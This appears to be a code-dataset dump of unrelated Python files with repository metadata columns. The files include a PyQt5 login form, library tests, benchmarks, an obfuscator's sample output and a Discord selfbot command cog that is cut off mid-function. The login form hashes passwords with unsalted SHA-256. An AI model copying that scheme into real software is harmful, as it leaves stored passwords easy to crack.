Sections.append(CreateEDSFitSection(SpectrumIn=Spectrum, SectionName='Al', SectionRange=[1350,1600], PeakNames=['AlK'], BkgName='Bkg'))
Sections.append(CreateEDSFitSection(SpectrumIn=Spectrum, SectionName='O', SectionRange=[400,670], PeakNames=['OK'], BkgName='Bkg'))
Sections.append(CreateEDSFitSection(SpectrumIn=Spectrum, SectionName='Cr-Fe', SectionRange=[5000,7300], PeakNames=['CrKa', 'CrKb', 'FeKa', 'FeKb'], BkgName='Bkg'))
return Sections
# EDSFileName = '/Users/Zack/Desktop/ALCHEMI 2 on chromite - 110 zone/StackEDS.emd'
#
# def DefineSections(Spectrum):
# Sections = []
# Sections.append(CreateEDSFitSection(SpectrumIn=Spectrum, SectionName='Cr-Fe', SectionRange=[5000,7300], PeakNames=['CrKa', 'CrKb', 'FeKa', 'FeKb'], BkgName='Bkg'))
# Sections.append(CreateEDSFitSection(SpectrumIn=Spectrum, SectionName='Al', SectionRange=[1350,1600], PeakNames=['AlK'], BkgName='Bkg'))
# Sections.append(CreateEDSFitSection(SpectrumIn=Spectrum, SectionName='O', SectionRange=[400,670], PeakNames=['OK'], BkgName='Bkg'))
#
# return Sections
# EDSFileName = '/Users/Zack/Desktop/Pedestal Pyrrhotite/ALCHEMI/Stack EDS.emd'
#
# def DefineSections(Spectrum):
# Sections = []
# Sections.append(CreateEDSFitSection(SpectrumIn=Spectrum, SectionName='Cr-Cu', SectionRange=[5000,9000], PeakNames=['CrKa', 'CrKb', 'FeKa', 'FeKb', 'NiKa', 'NiKb', 'CuKa', 'CuKb',], BkgName='Bkg'))
# Sections.append(CreateEDSFitSection(SpectrumIn=Spectrum, SectionName='S', SectionRange=[2150,2400], PeakNames=['SK'], BkgName='Bkg'))
# Sections.append(CreateEDSFitSection(SpectrumIn=Spectrum, SectionName='O', SectionRange=[400,670], PeakNames=['OK'], BkgName='Bkg'))
#
# return Sections
| 70.627907 | 203 | 0.734277 | 342 | 3,037 | 6.520468 | 0.377193 | 0.087892 | 0.207175 | 0.269955 | 0.697758 | 0.686547 | 0.686547 | 0.686547 | 0.526906 | 0.526906 | 0 | 0.048682 | 0.100428 | 3,037 | 42 | 204 | 72.309524 | 0.76757 | 0.540007 | 0 | 0 | 0 | 0.090909 | 0.134942 | 0.033065 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.090909 | 0 | 0.272727 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
075a93632cbfe8a22160427cf0df0508357d9411 | 6,288 | py | Python | Admin/res/signIn.py | BlaCkinkGJ/SFSH | 0134f1e4698ef34caee2d5a8cd875c51507b3527 | [
"MIT"
] | 1 | 2019-02-28T08:39:55.000Z | 2019-02-28T08:39:55.000Z | Admin/res/signIn.py | BlaCkinkGJ/SFSH | 0134f1e4698ef34caee2d5a8cd875c51507b3527 | [
"MIT"
] | 5 | 2018-07-17T13:09:34.000Z | 2018-09-11T13:55:33.000Z | Admin/res/signIn.py | BlaCkinkGJ/SFSH | 0134f1e4698ef34caee2d5a8cd875c51507b3527 | [
"MIT"
] | 2 | 2019-05-17T03:07:08.000Z | 2022-01-01T07:04:31.000Z | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'signIn.ui'
#
# Created by: PyQt5 UI code generator 5.9.2
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
from res import signUp, status
import pipeline as pipe
from PyQt5.QtWidgets import QMessageBox as msgbox
class Ui_Form(object):
def setupUi(self, Form):
pipe.db.changeCollection(pipe.info['loginDB'])
Form.setObjectName("Form")
Form.resize(338, 277)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(Form.sizePolicy().hasHeightForWidth())
Form.setSizePolicy(sizePolicy)
self.frame_8 = QtWidgets.QFrame(Form)
self.frame_8.setGeometry(QtCore.QRect(10, 10, 321, 261))
self.frame_8.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_8.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_8.setLineWidth(19)
self.frame_8.setMidLineWidth(0)
self.frame_8.setObjectName("frame_8")
self.MainLabel = QtWidgets.QLabel(self.frame_8)
self.MainLabel.setGeometry(QtCore.QRect(30, 10, 261, 51))
font = QtGui.QFont()
font.setFamily("나눔스퀘어라운드 ExtraBold")
font.setPointSize(16)
font.setBold(True)
font.setWeight(75)
self.MainLabel.setFont(font)
self.MainLabel.setTextFormat(QtCore.Qt.PlainText)
self.MainLabel.setAlignment(QtCore.Qt.AlignCenter)
self.MainLabel.setObjectName("MainLabel")
self.LogInBox = QtWidgets.QGroupBox(self.frame_8)
self.LogInBox.setGeometry(QtCore.QRect(10, 70, 301, 181))
font = QtGui.QFont()
font.setFamily("나눔스퀘어 Bold")
font.setBold(True)
font.setWeight(75)
self.LogInBox.setFont(font)
self.LogInBox.setObjectName("LogInBox")
self.layoutWidget_2 = QtWidgets.QWidget(self.LogInBox)
self.layoutWidget_2.setGeometry(QtCore.QRect(50, 120, 202, 34))
self.layoutWidget_2.setObjectName("layoutWidget_2")
self.Button = QtWidgets.QHBoxLayout(self.layoutWidget_2)
self.Button.setContentsMargins(0, 0, 0, 0)
self.Button.setObjectName("Button")
self.SignIn = QtWidgets.QPushButton(self.layoutWidget_2)
font = QtGui.QFont()
font.setFamily("나눔스퀘어 Bold")
font.setPointSize(10)
font.setBold(False)
font.setWeight(50)
self.SignIn.setFont(font)
self.SignIn.setObjectName("SignIn")
self.Button.addWidget(self.SignIn)
spacerItem = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.Button.addItem(spacerItem)
self.SignUp = QtWidgets.QPushButton(self.layoutWidget_2)
font = QtGui.QFont()
font.setFamily("나눔스퀘어 Bold")
font.setPointSize(10)
font.setBold(False)
font.setWeight(50)
self.SignUp.setFont(font)
self.SignUp.setObjectName("SignUp")
self.Button.addWidget(self.SignUp)
self.Password = QtWidgets.QLabel(self.LogInBox)
self.Password.setGeometry(QtCore.QRect(30, 80, 81, 16))
font = QtGui.QFont()
font.setFamily("나눔스퀘어 Bold")
font.setPointSize(10)
font.setBold(False)
font.setWeight(50)
self.Password.setFont(font)
self.Password.setObjectName("Password")
self.PasswordText = QtWidgets.QLineEdit(self.LogInBox)
self.PasswordText.setGeometry(QtCore.QRect(140, 80, 113, 21))
self.PasswordText.setObjectName("PasswordText")
self.PasswordText.setEchoMode(QtWidgets.QLineEdit.Password)
self.UsernameText = QtWidgets.QLineEdit(self.LogInBox)
self.UsernameText.setGeometry(QtCore.QRect(140, 40, 113, 21))
self.UsernameText.setObjectName("UsernameText")
self.Username = QtWidgets.QLabel(self.LogInBox)
self.Username.setGeometry(QtCore.QRect(30, 40, 81, 16))
font = QtGui.QFont()
font.setFamily("나눔스퀘어 Bold")
font.setPointSize(10)
font.setBold(False)
font.setWeight(50)
self.Username.setFont(font)
self.Username.setObjectName("Username")
self.retranslateUi(Form)
QtCore.QMetaObject.connectSlotsByName(Form)
Form.setTabOrder(self.UsernameText, self.PasswordText)
Form.setTabOrder(self.PasswordText, self.SignIn)
Form.setTabOrder(self.SignIn, self.SignUp)
self.SignIn.clicked.connect(self.signInButton)
self.SignUp.clicked.connect(self.signUpButton)
def retranslateUi(self, Form):
_translate = QtCore.QCoreApplication.translate
Form.setWindowTitle(_translate("Form", "작업자 통합 관리 시스템"))
self.MainLabel.setText(_translate("Form", "작업자 통합 관리시스템"))
self.LogInBox.setTitle(_translate("Form", "Log-in"))
self.SignIn.setText(_translate("Form", "Sign In"))
self.SignUp.setText(_translate("Form", "Sign Up"))
self.Password.setText(_translate("Form", "Password"))
self.Username.setText(_translate("Form", "Username"))
def signInButton(self):
import hashlib
username = self.UsernameText.text()
password = self.PasswordText.text()
password = hashlib.sha256(password.encode()).hexdigest()
isExist = pipe.db.collection.find_one({'username': username, 'password': password}) is not None
if isExist:
temp = pipe.window
pipe.window = QtWidgets.QWidget()
pipe.ui = status.Ui_Form()
pipe.ui.setupUi(pipe.window)
pipe.window.show()
temp.close()
else:
msgbox.question(pipe.window, '로그인 실패', '계정을 찾을 수 없습니다.', msgbox.Yes, msgbox.Yes)
def signUpButton(self):
temp = pipe.window
pipe.window = QtWidgets.QWidget()
pipe.ui = signUp.Ui_Form()
pipe.ui.setupUi(pipe.window)
pipe.window.show()
temp.close()
if __name__ == "__main__":
import sys
app = QtWidgets.QApplication(sys.argv)
Form = QtWidgets.QWidget()
ui = Ui_Form()
ui.setupUi(Form)
Form.show()
sys.exit(app.exec_())
| 39.797468 | 114 | 0.661737 | 697 | 6,288 | 5.913917 | 0.271162 | 0.014556 | 0.021834 | 0.026201 | 0.217128 | 0.179039 | 0.179039 | 0.163513 | 0.153809 | 0.13149 | 0 | 0.029154 | 0.219943 | 6,288 | 157 | 115 | 40.050955 | 0.811213 | 0.028467 | 0 | 0.270073 | 1 | 0 | 0.050484 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.029197 | false | 0.10219 | 0.043796 | 0 | 0.080292 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
075c6e3c2b256598fc6c83dd516b8f5ec19ecad5 | 635 | py | Python | benchmarks/test_compiler.py | Quansight-Labs/python-moa | 1f02519425ab0215896a5fb9be00631c20d34895 | [
"BSD-3-Clause"
] | 22 | 2019-04-19T20:42:53.000Z | 2022-02-03T20:42:48.000Z | benchmarks/test_compiler.py | costrouc/python-moa | 1f02519425ab0215896a5fb9be00631c20d34895 | [
"BSD-3-Clause"
] | 15 | 2019-03-12T17:35:42.000Z | 2019-05-20T20:15:14.000Z | benchmarks/test_compiler.py | costrouc/python-moa | 1f02519425ab0215896a5fb9be00631c20d34895 | [
"BSD-3-Clause"
] | 2 | 2019-11-12T22:50:04.000Z | 2020-04-24T15:56:43.000Z | from moa.frontend import LazyArray
def test_moa_compile_simple(benchmark):
A = LazyArray(name='A', shape=('n', 'm'))
B = LazyArray(name='B', shape=('k', 'l'))
expression = A + B
def _test():
expression.compile(backend='python', use_numba=True)
benchmark(_test)
def test_moa_compile_complex(benchmark):
A = LazyArray(name='A', shape=('n', 'm'))
B = LazyArray(name='B', shape=('k', 'l'))
C = LazyArray(name='C', shape=(10, 5))
expression = (A.inner('+', '*', B)).T[0] + C.reduce('+')
def _test():
expression.compile(backend='python', use_numba=True)
benchmark(_test)
| 23.518519 | 60 | 0.598425 | 85 | 635 | 4.329412 | 0.376471 | 0.17663 | 0.054348 | 0.092391 | 0.625 | 0.625 | 0.625 | 0.625 | 0.625 | 0.625 | 0 | 0.007843 | 0.19685 | 635 | 26 | 61 | 24.423077 | 0.713725 | 0 | 0 | 0.625 | 0 | 0 | 0.044094 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.0625 | 0 | 0.3125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
4ad416470e6c378610847c77f156a47cc63986a1 | 2,955 | py | Python | test/textformat/text_test.py | cbworden/earthquake-impact-utils | fff41e41668896110bebbc7054a36dd60779655b | [
"CC0-1.0"
] | 3 | 2017-04-11T21:30:20.000Z | 2018-02-28T23:17:30.000Z | test/textformat/text_test.py | cbworden/earthquake-impact-utils | fff41e41668896110bebbc7054a36dd60779655b | [
"CC0-1.0"
] | 103 | 2016-08-26T15:05:35.000Z | 2021-02-10T16:24:55.000Z | test/textformat/text_test.py | cbworden/earthquake-impact-utils | fff41e41668896110bebbc7054a36dd60779655b | [
"CC0-1.0"
] | 9 | 2016-08-24T01:07:40.000Z | 2022-03-01T10:03:27.000Z | #!/usr/bin/env python
# stdlib imports
import os.path
import sys
# local imports
from impactutils.textformat import text
# hack the path so that I can debug these functions if I need to
homedir = os.path.dirname(os.path.abspath(__file__)) # where is this script?
impactdir = os.path.abspath(os.path.join(homedir, '..', '..'))
# put this at the front of the system path, ignoring any installed impact stuff
sys.path.insert(0, impactdir)
def test():
print('Testing decimal to roman number conversion...')
assert text.dec_to_roman(10) == 'X'
print('Passed decimal to roman number conversion...')
print('Testing setting number precision...')
assert text.set_num_precision(7642, 2) == 7600
assert text.set_num_precision(321, 2) == 320
print('Passed setting number precision...')
print('Testing rounding population value...')
assert text.pop_round(7642) == '8,000'
print('Passed rounding population value...')
print('Testing rounding dollar value...')
assert text.dollar_round(1.234e9, digits=2, mode='short') == '$1.2B'
assert text.dollar_round(1.234e9, digits=2, mode='long') == '$1.2 billion'
print('Passed rounding population value...')
print('Testing abbreviating population value...')
assert text.pop_round_short(1024125) == '1,024k'
print('Passed abbreviating population value...')
print('Testing rounding to nearest integer value...')
assert text.round_to_nearest(998, round_value=1000) == 1000
assert text.round_to_nearest(78, round_value=100) == 100
print('Passed rounding population value...')
print('Testing flooring to nearest integer value...')
assert text.floor_to_nearest(1501, floor_value=1000) == 1000
assert text.floor_to_nearest(51, floor_value=100) == 0
print('Passed flooring population value...')
print('Testing ceiling to nearest integer value...')
assert text.ceil_to_nearest(1001, ceil_value=1000) == 2000
assert text.ceil_to_nearest(49, ceil_value=100) == 100
print('Passed ceiling population value...')
print('Testing commify...')
assert text.commify(1234567) == '1,234,567'
print('Passed commify...')
assert text.floor_to_nearest(0.56, floor_value=0.1) == 0.5
assert text.ceil_to_nearest(0.44, ceil_value=0.1) == 0.5
assert text.round_to_nearest(0.48, round_value=0.1) == 0.5
assert text.pop_round_short(125) == '125'
assert text.pop_round_short(1.23e6, usemillion=True) == '1m'
assert text.pop_round_short(0) == '0'
assert text.dollar_round(1.23, digits=2, mode='short') == '$1'
assert text.dollar_round(1.23e3, digits=2, mode='short') == '$1.2K'
assert text.dollar_round(1.23e3, digits=2, mode='long') == '$1.2 thousand'
assert text.dollar_round(1.23e6, digits=2, mode='short') == '$1.2M'
assert text.dollar_round(1.23e6, digits=2, mode='long') == '$1.2 million'
assert text.dec_to_roman(10) == 'X'
if __name__ == '__main__':
test()
| 39.4 | 79 | 0.689679 | 434 | 2,955 | 4.550691 | 0.290323 | 0.131646 | 0.056709 | 0.07443 | 0.576203 | 0.325063 | 0.235443 | 0.113418 | 0.113418 | 0 | 0 | 0.078257 | 0.161083 | 2,955 | 74 | 80 | 39.932432 | 0.718435 | 0.071743 | 0 | 0.09434 | 0 | 0 | 0.281695 | 0 | 0 | 0 | 0 | 0 | 0.490566 | 1 | 0.018868 | false | 0.169811 | 0.056604 | 0 | 0.075472 | 0.339623 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
4ad4d2600bb82e63bee196a64da410cf92d498b6 | 448 | py | Python | intensio/test/python/basic/output/Intensio-Obfuscator-example/intensio/core/utils/intensio_utils.py | vflanker/py-confuser | a96ea578b94605a6a9c90e8c7402930b7cee7a06 | [
"MIT"
] | null | null | null | intensio/test/python/basic/output/Intensio-Obfuscator-example/intensio/core/utils/intensio_utils.py | vflanker/py-confuser | a96ea578b94605a6a9c90e8c7402930b7cee7a06 | [
"MIT"
] | null | null | null | intensio/test/python/basic/output/Intensio-Obfuscator-example/intensio/core/utils/intensio_utils.py | vflanker/py-confuser | a96ea578b94605a6a9c90e8c7402930b7cee7a06 | [
"MIT"
] | 1 | 2021-07-20T03:02:26.000Z | 2021-07-20T03:02:26.000Z | # -*- coding: utf-8 -*-
import sys
class WcITwKqxWwGGboRFRdIfgIfIzbIrqKUe:
def __init__(self):
self.platform = sys.platform
def dCeYfzipTqbrJmJaijrODObAJKfbeHLu(self):
if self.platform == "win32":
return "\\"
else:
return "/"
def sWjDzsFbfkXTWdOqhbmzHIZUGsurTLex(self, dict1, dict2):
GWonrUgrQPcSPxuMqsVdrlfLVPTAQBeX = {**dict1, **dict2}
return GWonrUgrQPcSPxuMqsVdrlfLVPTAQBeX
| 32 | 61 | 0.662946 | 34 | 448 | 8.617647 | 0.588235 | 0.081911 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.020408 | 0.234375 | 448 | 13 | 62 | 34.461538 | 0.833819 | 0.046875 | 0 | 0 | 0 | 0 | 0.018824 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.083333 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
4ad76751f39c23106d8a169c97cf80d808b04a13 | 323 | py | Python | recipes/site_listers/thehappyfoodie.py | cfeenstra67/recipes | a2d296500b4ff70e11ff3177a1092a033498f82a | [
"MIT"
] | null | null | null | recipes/site_listers/thehappyfoodie.py | cfeenstra67/recipes | a2d296500b4ff70e11ff3177a1092a033498f82a | [
"MIT"
] | null | null | null | recipes/site_listers/thehappyfoodie.py | cfeenstra67/recipes | a2d296500b4ff70e11ff3177a1092a033498f82a | [
"MIT"
] | null | null | null | import re
from recipes.site_listers.base import TwoLevelSitemapLister
class TheHappyFoodieLister(TwoLevelSitemapLister):
""" """
start_url = "https://thehappyfoodie.co.uk/sitemap_index.xml"
sitemap_path_regex = re.compile(r"^/recipes-sitemap\d+\.xml$")
recipes_path_regex = re.compile(r"^/recipes/.+$")
| 26.916667 | 66 | 0.733746 | 38 | 323 | 6.052632 | 0.631579 | 0.078261 | 0.095652 | 0.156522 | 0.226087 | 0.226087 | 0 | 0 | 0 | 0 | 0 | 0 | 0.120743 | 323 | 11 | 67 | 29.363636 | 0.809859 | 0 | 0 | 0 | 0 | 0 | 0.268987 | 0.082278 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
4adda72f290c18bc9a5018a96f222031bc5fbb1c | 224 | py | Python | examples/python_rsmodules.py | fretn/rsmodules | 2dc8320a9e691ae5bf63f9a3d5ad6ed7f0c3d24b | [
"MIT"
] | 8 | 2018-10-10T11:46:21.000Z | 2021-07-08T01:40:52.000Z | examples/python_rsmodules.py | fretn/rsmodules | 2dc8320a9e691ae5bf63f9a3d5ad6ed7f0c3d24b | [
"MIT"
] | 1 | 2020-05-29T16:22:32.000Z | 2020-11-12T13:52:41.000Z | examples/python_rsmodules.py | fretn/rsmodules | 2dc8320a9e691ae5bf63f9a3d5ad6ed7f0c3d24b | [
"MIT"
] | 2 | 2018-10-10T17:20:33.000Z | 2018-12-02T19:15:20.000Z | import os
from rsmodules import module
module("load","blast")
print(os.environ["LOADEDMODULES"])
module("list","")
#this variable is declared in a module file with setenv("SOMEVAR","value")
#print(os.environ['SOMEVAR'])
| 18.666667 | 74 | 0.727679 | 31 | 224 | 5.258065 | 0.709677 | 0.08589 | 0.171779 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.107143 | 224 | 11 | 75 | 20.363636 | 0.815 | 0.450893 | 0 | 0 | 0 | 0 | 0.214876 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.4 | 0 | 0.4 | 0.2 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
4af9b5c768358d0727b73db783d4dfc042f5bfcf | 40,126 | py | Python | cogs/customcmds.py | FunnyBunnyKeK/Selfbot | 5afecc08299bf95a3efa6223a6d71db87694c2d0 | [
"MIT"
] | null | null | null | cogs/customcmds.py | FunnyBunnyKeK/Selfbot | 5afecc08299bf95a3efa6223a6d71db87694c2d0 | [
"MIT"
] | null | null | null | cogs/customcmds.py | FunnyBunnyKeK/Selfbot | 5afecc08299bf95a3efa6223a6d71db87694c2d0 | [
"MIT"
] | null | null | null | import math
import re
import json
from github import Github
from PythonGists import PythonGists
from discord.ext import commands
from cogs.utils.checks import cmd_prefix_len, load_config
'''Module for custom commands adding, removing, and viewing.'''
class Customcmds:
def __init__(self, bot):
self.bot = bot
async def githubUpload(self, username, password, repo_name):
g = Github(username, password)
repo = g.get_user().get_repo(repo_name)
with open('settings/commands.json', 'r') as fp:
contents = fp.read()
updateFile = '/settings/commands.json'
sha = repo.get_contents(updateFile).sha
repo.update_file('/settings/commands.json', 'Updating customcommands', contents, sha)
async def check(self, ctx, val, pre):
def is_numb(msg):
if msg.content.isdigit() and val != 0:
return 0 < int(msg.content) < val
elif val == 0:
return True
else:
return False
reply = await self.bot.wait_for_message(author=ctx.message.author, check=is_numb)
return reply
# view customcmds
async def customcommands(self, ctx):
with open('settings/commands.json', 'r') as c:
cmds = json.load(c)
sortedcmds = sorted(cmds.keys(), key=lambda x: x.lower())
msgs = []
part = ''
pre = cmd_prefix_len()
if ctx.message.content[10 + pre:].strip() and ctx.message.content[10 + pre:].strip() != 'gist':
one_cmd = True
list_cmd = ctx.message.content.strip().split(' ')[1]
for cmd in sortedcmds:
if one_cmd and list_cmd == cmd:
if type(cmds[cmd]) is list:
part = cmd + ': '
for i in cmds[cmd]:
part += str(i[0]) + ' | '
part = part.rstrip(' | ')
break
else:
part = cmd
else:
for cmd in sortedcmds:
if type(cmds[cmd]) is list:
check = cmd + ': '
for i in cmds[cmd]:
check += str(i[0]) + ' | '
check = check.rstrip(' | ') + '\n\n'
else:
check = cmd + '\n\n'
if len(part + check) > 1900:
msgs.append(part)
part = check
else:
part += check
msgs.append(part)
if 'gist' in ctx.message.content or 'Gist' in ctx.message.content:
msgs = '\n'.join(msgs)
url = PythonGists.Gist(description='Custom Commands', content=str(msgs), name='commands.txt')
await self.bot.send_message(ctx.message.channel, self.bot.bot_prefix + 'List of Custom Commands: %s' % url)
else:
if len(msgs) == 1:
await self.bot.send_message(ctx.message.channel,
'```css\n[List of Custom Commands]\n%s ```' % msgs[0].rstrip())
else:
for b, i in enumerate(msgs):
await self.bot.send_message(ctx.message.channel,
'```css\n[List of Custom Commands %s/%s]\n%s ```' % (
b + 1, len(msgs), i.rstrip()))
# List all custom commands
@commands.group(pass_context=True)
async def customcmds(self, ctx):
"""Lists all customcmds. >help customcmds for more info
>customcmds - normal output with all the customcmds and subcommands (response names).
>customcmds <command_name> - output only this specific command.
>customcmds gist - normal output but posted to Gist to avoid cluttering the chat."""
if ctx.invoked_subcommand is None:
await self.customcommands(ctx)
await self.bot.delete_message(ctx.message)
@customcmds.command(pass_context=True)
async def long(self, ctx):
"""Lists detailed version of customcmds. Ex: >customcmds long"""
with open('settings/commands.json') as commands:
if 'gist' in ctx.message.content or 'Gist' in ctx.message.content:
cmds = commands.read()
link = PythonGists.Gist(description='Full commands.json', content=cmds, name='commands.json')
return await self.bot.send_message(ctx.message.channel, self.bot.bot_prefix + 'Full commands.json: %s' % link)
else:
cmds = json.load(commands)
msg = ''
sortedcmds = sorted(cmds.keys(), key=lambda x: x.lower())
if ctx.message.content[17:] and ctx.message.content[17:] != 'gist':
one_cmd = True
list_cmd = ctx.message.content.strip().split('long')[1].strip()
for cmd in sortedcmds:
if one_cmd and list_cmd == cmd:
msg += '"' + cmd + '" : "'
if type(cmds[cmd]) == list:
for i in cmds[cmd]:
msg += str(i) + ', '
msg = msg[:-2] + '",\n\n'
else:
msg += str(cmds[cmd]) + '",\n\n'
else:
for cmd in sortedcmds:
msg += '"' + cmd + '" : "'
if type(cmds[cmd]) == list:
for i in cmds[cmd]:
msg += str(i) + ', '
msg = msg[:-2] + '",\n\n'
else:
msg += str(cmds[cmd]) + '",\n\n'
msg = msg[:-3]
msg += '}```'
part = int(math.ceil(len(msg) / 1900))
if part == 1:
await self.bot.send_message(ctx.message.channel, self.bot.bot_prefix + '```json\nList of Custom Commands: {\n' + msg)
else:
msg = msg[7:-3]
splitList = [msg[i:i + 1900] for i in range(0, len(msg), 1900)]
allWords = []
splitmsg = ''
for i, blocks in enumerate(splitList):
splitmsg += 'List of Custom Commands: %s of %s\n\n' % (i + 1, part)
for b in blocks.split('\n'):
splitmsg += b + '\n'
allWords.append(splitmsg)
splitmsg = ''
for i in allWords:
await self.bot.send_message(ctx.message.channel, '```%s```' % i)
# Change customcmd embed color
@customcmds.command(pass_context=True, aliases=['colour'])
async def color(self, ctx, *, msg: str = None):
'''Set color (hex) of a custom command image. Ex: >customcmds color 000000'''
if msg:
try:
msg = msg.lstrip('#')
int(msg, 16)
except:
await self.bot.send_message(ctx.message.channel, self.bot.bot_prefix + 'Invalid color.')
await self.bot.send_message(ctx.message.channel, self.bot.bot_prefix + 'Successfully set color for customcmd embeds.')
else:
msg = ''
await self.bot.send_message(ctx.message.channel, self.bot.bot_prefix + 'Removed embed color for customcmd embeds.')
with open('settings/optional_config.json', 'r+') as fp:
opt = json.load(fp)
opt['customcmd_color'] = msg
fp.seek(0)
fp.truncate()
json.dump(opt, fp, indent=4)
@customcmds.command(pass_context=True)
async def update(self, ctx):
"""Needs GitHub repo set for an update"""
with open('settings/github.json', 'r+') as fp:
opt = json.load(fp)
if opt['username'] != "":
try:
await self.githubUpload(opt['username'], opt['password'], opt['reponame'])
except:
await self.bot.send_message(ctx.message.channel, "Incorrect GitHub credentials")
else:
await self.bot.send_message(ctx.message.channel, "GitHub account and repo not specified in `github.json`")
# Toggle auto-embed for images/gifs
@customcmds.command(pass_context=True)
async def embed(self, ctx):
"""Toggle auto embeding of images for custom commands."""
with open('settings/optional_config.json', 'r+') as fp:
opt = json.load(fp)
if opt['rich_embed'] == 'on':
opt['rich_embed'] = 'off'
await self.bot.send_message(ctx.message.channel, self.bot.bot_prefix + 'Turned off auto-embeding images/gifs for customcmds.')
else:
opt['rich_embed'] = 'on'
await self.bot.send_message(ctx.message.channel, self.bot.bot_prefix + 'Turned on auto-embeding images/gifs for customcmds.')
fp.seek(0)
fp.truncate()
json.dump(opt, fp, indent=4)
# Add a custom command
@commands.command(pass_context=True)
async def add(self, ctx, *, msg: str = None):
"""Add a new customcmd. >help add for more info
Simply do: >add
This will trigger the menu which you can navigate through and add your custom command that way.
-----------------------------------------------------------
Legacy method:
There are two ways to add custom commands. The first way:
----Simple----
>add <command> <response> Now, if you do .<command> you will receive <response>.
Example: >add nervous http://i.imgur.com/K9gMjWo.gifv
Then, doing .nervous will output this imgur link (images and gifs will auto embed) Assuming that your customcmd_prefix is set to "."
---Multiple responses to the same command----
>add <command> <response_name> <response>. This way, you can add multiple responses to the same command.
Example:
>add cry k-on http://i.imgur.com/tWtXttk.gif
Then you can add another to the .cry command:
>add cry nichijou https://media.giphy.com/media/3fmRTfVIKMRiM/giphy.gif
Note: If anything you are adding/removing is more than one word, you MUST put each part in quotes.
Example: >add "cry" "mugi why" "http://i.imgur.com/tWtXttk.gif" or >add "copypasta" "I identify as an attack helicopter."
Then invoke a specific response with .<command> <response_name> or get a random response for that command with .<command>
So: .cry k-on would give you that specific link but .cry would give you one of the two you added to the cry command."""
if not msg:
await self.bot.delete_message(ctx.message)
pre = ctx.message.content.split('add')[0]
customcmd_prefix = load_config()['customcmd_prefix']
menu = await self.bot.send_message(ctx.message.channel,
self.bot.bot_prefix + '```\n\u2795 Choose type of customcmd to add. Enter a number:\n\n1. Simple customcmd (1 cmd with 1 response).\n2. Customcmd with multiple responses.\n3. View current customcmds.```')
reply = await self.check(ctx, 4, pre)
if reply:
await self.bot.delete_message(reply)
# Add simple customcmd
if reply.content == "1":
menu = await self.bot.edit_message(menu,
self.bot.bot_prefix + '```\n\u2795 Enter a cmd name. This is how you will invoke your response.```')
reply = await self.check(ctx, 0, pre)
# Grab the cmd name
if reply:
await self.bot.delete_message(reply)
entry_cmd = reply.content
menu = await self.bot.edit_message(menu,
self.bot.bot_prefix + '```\n\u2795 Enter the response for this cmd. This is what the bot will output when you send the cmd you specified.```')
reply = await self.check(ctx, 0, pre)
# Grab the response
if reply:
try:
await self.bot.delete_message(reply)
except:
pass
entry_response = reply.content
with open('settings/commands.json', 'r+') as commands:
cmds = json.load(commands)
save = cmds
commands.seek(0)
commands.truncate()
try:
cmds[entry_cmd] = entry_response
json.dump(cmds, commands, indent=4)
